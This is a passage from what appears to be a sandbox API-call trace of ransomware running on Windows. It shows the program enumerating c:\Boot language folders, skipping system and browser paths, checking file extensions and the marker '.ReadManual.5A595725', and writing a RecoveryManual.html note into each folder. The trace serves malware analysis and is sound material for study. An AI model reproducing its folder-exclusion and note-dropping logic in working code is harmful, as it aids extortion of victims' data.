ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.911] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.911] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0175.911] lstrcpyW (in: lpString1=0x69b8b4, lpString2="pt-PT" | out: lpString1="pt-PT") returned="pt-PT" [0175.911] lstrcatW (in: lpString1="pt-PT", lpString2="\\" | out: lpString1="pt-PT\\") returned="pt-PT\\" [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\Windows\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\WINNT") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.911] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.912] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-PT\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.912] lstrlenW (lpString="\\\\?\\c:\\Boot\\pt-PT\\") returned 18 [0175.912] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\pt-PT\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.912] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\pt-PT\\" | out: lpString1="\\\\?\\c:\\Boot\\pt-PT\\") returned="\\\\?\\c:\\Boot\\pt-PT\\" [0175.912] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.912] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.912] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.912] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.912] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.912] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.912] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.912] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.912] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.912] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.912] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\pt-PT\\" | out: lpString1="\\\\?\\c:\\Boot\\pt-PT\\") returned="\\\\?\\c:\\Boot\\pt-PT\\" [0175.912] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\pt-PT\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\pt-PT\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\pt-PT\\RecoveryManual.html" [0175.913] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\pt-PT\\RecoveryManual.html" (normalized: "c:\\boot\\pt-pt\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.913] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.914] CloseHandle (hObject=0x15c) returned 1 [0175.914] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.914] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.914] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0175.914] lstrcpyW (in: lpString1=0x69b8b4, lpString2="ru-RU" | out: lpString1="ru-RU") returned="ru-RU" [0175.914] lstrcatW (in: lpString1="ru-RU", lpString2="\\" | out: lpString1="ru-RU\\") returned="ru-RU\\" [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\Windows\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\WINNT") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.914] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.915] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\ru-RU\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.915] lstrlenW (lpString="\\\\?\\c:\\Boot\\ru-RU\\") returned 18 [0175.915] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\ru-RU\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.916] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\ru-RU\\" | out: lpString1="\\\\?\\c:\\Boot\\ru-RU\\") returned="\\\\?\\c:\\Boot\\ru-RU\\" [0175.916] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.916] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.916] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.916] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.916] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.916] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.916] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.916] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.916] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.916] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.916] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\ru-RU\\" | out: lpString1="\\\\?\\c:\\Boot\\ru-RU\\") returned="\\\\?\\c:\\Boot\\ru-RU\\" [0175.916] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\ru-RU\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\ru-RU\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\ru-RU\\RecoveryManual.html" [0175.916] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\ru-RU\\RecoveryManual.html" (normalized: "c:\\boot\\ru-ru\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.916] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.917] CloseHandle (hObject=0x15c) returned 1 [0175.917] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.917] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.917] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0175.918] lstrcpyW (in: lpString1=0x69b8b4, lpString2="sv-SE" | out: lpString1="sv-SE") returned="sv-SE" [0175.918] lstrcatW (in: lpString1="sv-SE", lpString2="\\" | out: lpString1="sv-SE\\") returned="sv-SE\\" [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\Windows\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\WINNT") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.918] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\sv-SE\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.918] lstrlenW (lpString="\\\\?\\c:\\Boot\\sv-SE\\") returned 18 [0175.918] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\sv-SE\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.919] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\sv-SE\\" | out: lpString1="\\\\?\\c:\\Boot\\sv-SE\\") returned="\\\\?\\c:\\Boot\\sv-SE\\" [0175.919] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.919] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.919] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.919] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.919] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.919] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.919] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.919] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.919] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.919] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.919] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\sv-SE\\" | out: lpString1="\\\\?\\c:\\Boot\\sv-SE\\") returned="\\\\?\\c:\\Boot\\sv-SE\\" [0175.919] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\sv-SE\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\sv-SE\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\sv-SE\\RecoveryManual.html" [0175.919] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\sv-SE\\RecoveryManual.html" (normalized: "c:\\boot\\sv-se\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.919] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.920] CloseHandle (hObject=0x15c) returned 1 [0175.920] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.920] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.920] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0175.920] lstrcpyW (in: lpString1=0x69b8b4, lpString2="tr-TR" | out: lpString1="tr-TR") returned="tr-TR" [0175.920] lstrcatW (in: lpString1="tr-TR", lpString2="\\" | out: lpString1="tr-TR\\") returned="tr-TR\\" [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\Windows\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\WINNT") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", 